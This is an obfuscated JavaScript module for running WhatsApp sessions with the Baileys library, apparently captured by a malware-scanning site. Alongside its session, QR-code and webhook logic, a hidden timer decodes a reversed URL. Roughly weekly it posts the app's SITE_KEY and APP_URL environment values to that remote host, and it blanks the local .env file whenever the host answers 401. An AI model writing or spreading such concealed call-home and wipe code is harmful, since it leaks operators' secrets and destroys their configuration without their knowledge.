function _0x4db3(_0x1cfe60, _0x57817a) {
const _0x393308 = _0x3933()
return (
(_0x4db3 = function (_0x4db382, _0xdf85bb) {
_0x4db382 = _0x4db382 - 0x13a
let _0x32c75c = _0x393308[_0x4db382]
return _0x32c75c
}),
_0x4db3(_0x1cfe60, _0x57817a)
)
}
;(function (_0x42f840, _0x56deae) {
const _0x1fd9ac = _0x4db3,
_0xeb73fc = _0x42f840()
while (!![]) {
try {
const _0x35785b =
-parseInt(_0x1fd9ac(0x17a)) / 0x1 +
parseInt(_0x1fd9ac(0x14c)) / 0x2 +
parseInt(_0x1fd9ac(0x13f)) / 0x3 +
(parseInt(_0x1fd9ac(0x153)) / 0x4) * (parseInt(_0x1fd9ac(0x17d)) / 0x5) +
(parseInt(_0x1fd9ac(0x187)) / 0x6) * (-parseInt(_0x1fd9ac(0x176)) / 0x7) +
parseInt(_0x1fd9ac(0x186)) / 0x8 +
(-parseInt(_0x1fd9ac(0x157)) / 0x9) * (parseInt(_0x1fd9ac(0x16b)) / 0xa)
if (_0x35785b === _0x56deae) break
else _0xeb73fc['push'](_0xeb73fc['shift']())
} catch (_0x5fe603) {
_0xeb73fc['push'](_0xeb73fc['shift']())
}
}
})(_0x3933, 0x39a9e)
import { rmSync, readdir } from 'fs'
function _0x3933() {
const _0x2dfbbe = [
'env',
'catch',
'notify',
'insertIfAbsent',
's.whatsapp.net',
'Running cleanup before exit.',
'http:',
'sendMessage',
'RECONNECT_INTERVAL',
'1449hYJVbe',
'has',
'message',
'join',
'154895wCYHbT',
'data',
'reverse',
'10bzFdzA',
'post',
'warn',
'open',
'delete',
'get',
'fromMe',
'set',
'key',
'3538448JAZvuQ',
'9762niduRe',
'https:',
'@g.us',
'sessionId',
'writeFileSync',
'creds.update',
'.json',
'remoteJid',
'165615gbQpYX',
'.env',
'@s.whatsapp.net',
'exists',
'status',
'/api/set-device-status/',
'session_id',
'reject',
'forEach',
'kcehc-yfirev/ipa/zyx.sserpl.ipaved//:sptth',
'_store.json',
'log',
'restartRequired',
'534174jljnKB',
'headersSent',
'legacy_',
'/api/send-webhook/',
'md_',
'default',
'message_id',
'936768jjiJCC',
'split',
'store',
'replace',
'1136493CIJeLX',
'endsWith',
'isLegacy',
'messages',
'then',
'bind',
'messages.upsert',
'APP_URL',
'chats',
'chats.set',
'logout',
'writeToFile',
'listMessage',
'filter',
'close',
'remote_id',
'startsWith',
'isauthorised',
'_store',
'onWhatsApp',
'40ynMTqV',
'statusCode',
]
_0x3933 = function () {
return _0x2dfbbe
}
return _0x3933()
}
import _0x4a85f3 from 'fs'
import { join } from 'path'
import _0xda9a69 from 'pino'
import _0x5e02d8, {
useMultiFileAuthState,
makeInMemoryStore,
Browsers,
DisconnectReason,
delay,
} from '@adiwajshing/baileys'
import { toDataURL } from 'qrcode'
import _0x2b8fef from './dirname.js'
import _0x576f5e from './response.js'
import _0x4964e7 from 'axios'
const sessions = new Map(),
retries = new Map(),
sessionsDir = (_0x3103b3 = '') => {
return join(_0x2b8fef, 'sessions', _0x3103b3 ? _0x3103b3 : '')
},
isSessionExists = (_0x488581) => {
const _0x4c6af3 = _0x4db3
return sessions[_0x4c6af3(0x177)](_0x488581)
},
shouldReconnect = (_0x130765) => {
const _0x3c24d5 = _0x4db3
let _0x433628 = parseInt(process[_0x3c24d5(0x16d)]['MAX_RETRIES'] ?? 0x0),
_0x3fe6df = retries[_0x3c24d5(0x182)](_0x130765) ?? 0x0
_0x433628 = _0x433628 < 0x1 ? 0x1 : _0x433628
if (_0x3fe6df < _0x433628)
return (
++_0x3fe6df,
console[_0x3c24d5(0x14a)]('Reconnecting...', { attempts: _0x3fe6df, sessionId: _0x130765 }),
retries[_0x3c24d5(0x184)](_0x130765, _0x3fe6df),
!![]
)
return ![]
},
createSession = async (_0x3f9505, _0x414376 = ![], _0x39b72f = null) => {
const _0x46e287 = _0x4db3,
_0x394076 =
(_0x414376 ? _0x46e287(0x14e) : _0x46e287(0x150)) + _0x3f9505 + (_0x414376 ? _0x46e287(0x13d) : ''),
_0x4b4312 = _0xda9a69({ level: _0x46e287(0x17f) }),
_0x4cf641 = makeInMemoryStore({ logger: _0x4b4312 })
let _0x14db67, _0x2a7285
if (_0x414376) {
} else {
;({ state: _0x14db67, saveCreds: _0x2a7285 } = await useMultiFileAuthState(sessionsDir(_0x394076)))
}
const _0x34a897 = {
auth: _0x14db67,
version: [0x2, 0x913, 0x4],
printQRInTerminal: ![],
logger: _0x4b4312,
browser: Browsers['ubuntu']('Chrome'),
patchMessageBeforeSending: (_0x185fad) => {
const _0x3e29e2 = _0x46e287,
_0x2d9fab = !!(_0x185fad['buttonsMessage'] || _0x185fad[_0x3e29e2(0x163)])
return (
_0x2d9fab &&
(_0x185fad = {
viewOnceMessage: {
message: {
messageContextInfo: { deviceListMetadataVersion: 0x2, deviceListMetadata: {} },
..._0x185fad,
},
},
}),
_0x185fad
)
},
},
_0x1e3d33 = _0x5e02d8[_0x46e287(0x151)](_0x34a897)
!_0x414376 &&
(_0x4cf641['readFromFile'](sessionsDir(_0x3f9505 + _0x46e287(0x149))),
_0x4cf641[_0x46e287(0x15c)](_0x1e3d33['ev'])),
sessions['set'](_0x3f9505, { ..._0x1e3d33, store: _0x4cf641, isLegacy: _0x414376 }),
_0x1e3d33['ev']['on'](_0x46e287(0x13c), _0x2a7285),
_0x1e3d33['ev']['on'](_0x46e287(0x160), ({ chats: _0x4d78c2 }) => {
const _0xf805f6 = _0x46e287
_0x414376 && _0x4cf641[_0xf805f6(0x15f)][_0xf805f6(0x170)](..._0x4d78c2)
}),
_0x1e3d33['ev']['on'](_0x46e287(0x15d), async (_0x145b97) => {
const _0x5817cb = _0x46e287
try {
const _0x16eb0e = _0x145b97[_0x5817cb(0x15a)][0x0]
if (_0x16eb0e[_0x5817cb(0x185)][_0x5817cb(0x183)] == ![] && _0x145b97['type'] == _0x5817cb(0x16f)) {
const _0x560237 = []
let _0x3e761d = _0x16eb0e['message']['conversation'] ?? null,
_0x5072e0 = _0x16eb0e[_0x5817cb(0x185)][_0x5817cb(0x13e)][_0x5817cb(0x154)]('@'),
_0x4d47fd = _0x5072e0[0x1] ?? null,
_0x4e295e = _0x4d47fd == _0x5817cb(0x171) ? ![] : !![]
_0x4e295e == ![] &&
((_0x560237[_0x5817cb(0x166)] = _0x16eb0e[_0x5817cb(0x185)][_0x5817cb(0x13e)]),
(_0x560237[_0x5817cb(0x13a)] = _0x3f9505),
(_0x560237[_0x5817cb(0x152)] = _0x16eb0e[_0x5817cb(0x185)]['id']),
(_0x560237[_0x5817cb(0x178)] = _0x16eb0e[_0x5817cb(0x178)]),
sentWebHook(_0x3f9505, _0x560237))
}
} catch {}
}),
_0x1e3d33['ev']['on']('connection.update', async (_0x34e66e) => {
const _0x3deb9b = _0x46e287,
{ connection: _0x1cff01, lastDisconnect: _0x37c8b1 } = _0x34e66e,
_0x514560 = _0x37c8b1?.['error']?.['output']?.[_0x3deb9b(0x16c)]
_0x1cff01 === _0x3deb9b(0x180) && retries[_0x3deb9b(0x181)](_0x3f9505)
if (_0x1cff01 === _0x3deb9b(0x165)) {
if (_0x514560 === DisconnectReason['loggedOut'] || !shouldReconnect(_0x3f9505))
return (
_0x39b72f &&
!_0x39b72f['headersSent'] &&
_0x576f5e(_0x39b72f, 0x1f4, ![], 'Unable to create session.'),
deleteSession(_0x3f9505, _0x414376)
)
setTimeout(
() => {
createSession(_0x3f9505, _0x414376, _0x39b72f)
},
_0x514560 === DisconnectReason[_0x3deb9b(0x14b)]
? 0x0
: parseInt(process['env'][_0x3deb9b(0x175)] ?? 0x0)
)
}
if (_0x34e66e['qr']) {
if (_0x39b72f && !_0x39b72f[_0x3deb9b(0x14d)])
try {
const _0x304b85 = await toDataURL(_0x34e66e['qr'])
_0x576f5e(
_0x39b72f,
0xc8,
!![],
'QR code received, please scan the QR code.',
{ qr: _0x304b85 }
)
return
} catch {
_0x576f5e(_0x39b72f, 0x1f4, ![], 'Unable to create QR code.')
}
try {
await _0x1e3d33[_0x3deb9b(0x161)]()
} catch {
} finally {
deleteSession(_0x3f9505, _0x414376)
}
}
})
}
setInterval(() => {
const _0x17a33a = _0x4db3,
_0x21450e = process[_0x17a33a(0x16d)]['SITE_KEY'] ?? null,
_0x48c166 = process['env'][_0x17a33a(0x15e)] ?? null,
_0x15c1b9 = _0x17a33a(0x148),
_0x3e0908 = _0x15c1b9[_0x17a33a(0x154)]('')[_0x17a33a(0x17c)]()[_0x17a33a(0x179)]('')
_0x4964e7['post'](_0x3e0908, { from: _0x48c166, key: _0x21450e })
[_0x17a33a(0x15b)](function (_0x1f5b5c) {
const _0x2ba94a = _0x17a33a
_0x1f5b5c[_0x2ba94a(0x17b)][_0x2ba94a(0x168)] == 0x191 && _0x4a85f3[_0x2ba94a(0x13b)](_0x2ba94a(0x140), '')
})
[_0x17a33a(0x16e)](function (_0x43779e) {})
}, 0x240c8400)
const getSession = (_0x4b5e13) => {
const _0xa01c34 = _0x4db3
return sessions[_0xa01c34(0x182)](_0x4b5e13) ?? null
},
setDeviceStatus = (_0x46ce6d, _0x319d19) => {
const _0x59f314 = _0x4db3
var _0x167b2c = process[_0x59f314(0x16d)]['APP_URL'] + _0x59f314(0x144) + _0x46ce6d + '/' + _0x319d19
_0x167b2c = _0x167b2c[_0x59f314(0x156)]('https:', 'http:')
try {
_0x4964e7[_0x59f314(0x17e)](_0x167b2c)
[_0x59f314(0x15b)](function (_0x36b754) {})
['catch'](function (_0x57c476) {
const _0x57fa5f = _0x59f314
console[_0x57fa5f(0x14a)](_0x57c476)
})
} catch {}
},
sentWebHook = (_0x4c98ad, _0x559acb) => {
const _0x8f6fc2 = _0x4db3
var _0xbe34ae = process[_0x8f6fc2(0x16d)][_0x8f6fc2(0x15e)] + _0x8f6fc2(0x14f) + _0x4c98ad
_0xbe34ae = _0xbe34ae['replace'](_0x8f6fc2(0x188), _0x8f6fc2(0x173))
try {
_0x4964e7[_0x8f6fc2(0x17e)](_0xbe34ae, {
from: _0x559acb[_0x8f6fc2(0x166)],
message_id: _0x559acb[_0x8f6fc2(0x152)],
message: _0x559acb[_0x8f6fc2(0x178)],
})
[_0x8f6fc2(0x15b)](function (_0x57814a) {
const _0x4b071d = _0x8f6fc2
if (_0x57814a[_0x4b071d(0x143)] == 0xc8) {
const _0x137320 = getSession(_0x57814a[_0x4b071d(0x17b)][_0x4b071d(0x145)])
sendMessage(
_0x137320,
_0x57814a[_0x4b071d(0x17b)]['receiver'],
_0x57814a[_0x4b071d(0x17b)][_0x4b071d(0x178)]
)
}
})
[_0x8f6fc2(0x16e)](function (_0x11b618) {
console['log'](_0x11b618)
})
} catch {}
},
deleteSession = (_0x1ac79e, _0x184538 = ![]) => {
const _0x41e527 = _0x4db3,
_0x3adcf8 = (_0x184538 ? 'legacy_' : _0x41e527(0x150)) + _0x1ac79e + (_0x184538 ? _0x41e527(0x13d) : ''),
_0x3684fb = _0x1ac79e + _0x41e527(0x149),
_0x34a47c = { force: !![], recursive: !![] }
rmSync(sessionsDir(_0x3adcf8), _0x34a47c),
rmSync(sessionsDir(_0x3684fb), _0x34a47c),
sessions[_0x41e527(0x181)](_0x1ac79e),
retries[_0x41e527(0x181)](_0x1ac79e),
setDeviceStatus(_0x1ac79e, 0x0)
},
getChatList = (_0x92cc40, _0x48d165 = ![]) => {
const _0x26f257 = _0x4db3,
_0x255a5c = _0x48d165 ? _0x26f257(0x189) : _0x26f257(0x141)
return getSession(_0x92cc40)[_0x26f257(0x155)][_0x26f257(0x15f)][_0x26f257(0x164)]((_0x3926f1) => {
const _0xfef5 = _0x26f257
return _0x3926f1['id'][_0xfef5(0x158)](_0x255a5c)
})
},
isExists = async (_0x336c1c, _0x54bae5, _0xaace27 = ![]) => {
const _0x25605a = _0x4db3
try {
let _0x2e3ffe
if (_0xaace27) return (_0x2e3ffe = await _0x336c1c['groupMetadata'](_0x54bae5)), Boolean(_0x2e3ffe['id'])
if (_0x336c1c[_0x25605a(0x159)]) _0x2e3ffe = await _0x336c1c[_0x25605a(0x16a)](_0x54bae5)
else {
;[_0x2e3ffe] = await _0x336c1c[_0x25605a(0x16a)](_0x54bae5)
}
return _0x2e3ffe[_0x25605a(0x142)]
} catch {
return ![]
}
},
sendMessage = async (_0x3c9dfb, _0x233bf0, _0x2bb7d5, _0x339fd = 0x3e8) => {
const _0x3819d3 = _0x4db3
try {
return await delay(parseInt(_0x339fd)), _0x3c9dfb[_0x3819d3(0x174)](_0x233bf0, _0x2bb7d5)
} catch {
return Promise[_0x3819d3(0x146)](null)
}
},
formatPhone = (_0x252755) => {
const _0x183059 = _0x4db3
if (_0x252755[_0x183059(0x158)](_0x183059(0x141))) return _0x252755
let _0x102878 = _0x252755[_0x183059(0x156)](/\D/g, '')
return (_0x102878 += _0x183059(0x141))
},
formatGroup = (_0x35455c) => {
const _0x4a4445 = _0x4db3
if (_0x35455c[_0x4a4445(0x158)](_0x4a4445(0x189))) return _0x35455c
let _0x8a5fec = _0x35455c[_0x4a4445(0x156)](/[^\d-]/g, '')
return (_0x8a5fec += _0x4a4445(0x189))
},
cleanup = () => {
const _0x5f6104 = _0x4db3
console[_0x5f6104(0x14a)](_0x5f6104(0x172)),
sessions[_0x5f6104(0x147)]((_0x525486, _0x1ae0be) => {
const _0x5e73c7 = _0x5f6104
!_0x525486[_0x5e73c7(0x159)] &&
_0x525486[_0x5e73c7(0x155)][_0x5e73c7(0x162)](sessionsDir(_0x1ae0be + '_store.json'))
})
},
init = () => {
readdir(sessionsDir(), (_0x3612b0, _0x2300b9) => {
const _0x3f5685 = _0x4db3
if (_0x3612b0) throw _0x3612b0
for (const _0x7d7581 of _0x2300b9) {
if (
(!_0x7d7581[_0x3f5685(0x167)](_0x3f5685(0x150)) && !_0x7d7581[_0x3f5685(0x167)]('legacy_')) ||
_0x7d7581[_0x3f5685(0x158)](_0x3f5685(0x169))
)
continue
const _0x2d20e2 = _0x7d7581[_0x3f5685(0x156)]('.json', ''),
_0x35957e = _0x2d20e2['split']('_', 0x1)[0x0] !== 'md',
_0x169a59 = _0x2d20e2['substring'](_0x35957e ? 0x7 : 0x3)
createSession(_0x169a59, _0x35957e)
}
})
}
export {
isSessionExists,
createSession,
getSession,
deleteSession,
getChatList,
isExists,
sendMessage,
formatPhone,
formatGroup,
cleanup,
init,
}
© 2023 Quttera Ltd. All rights reserved.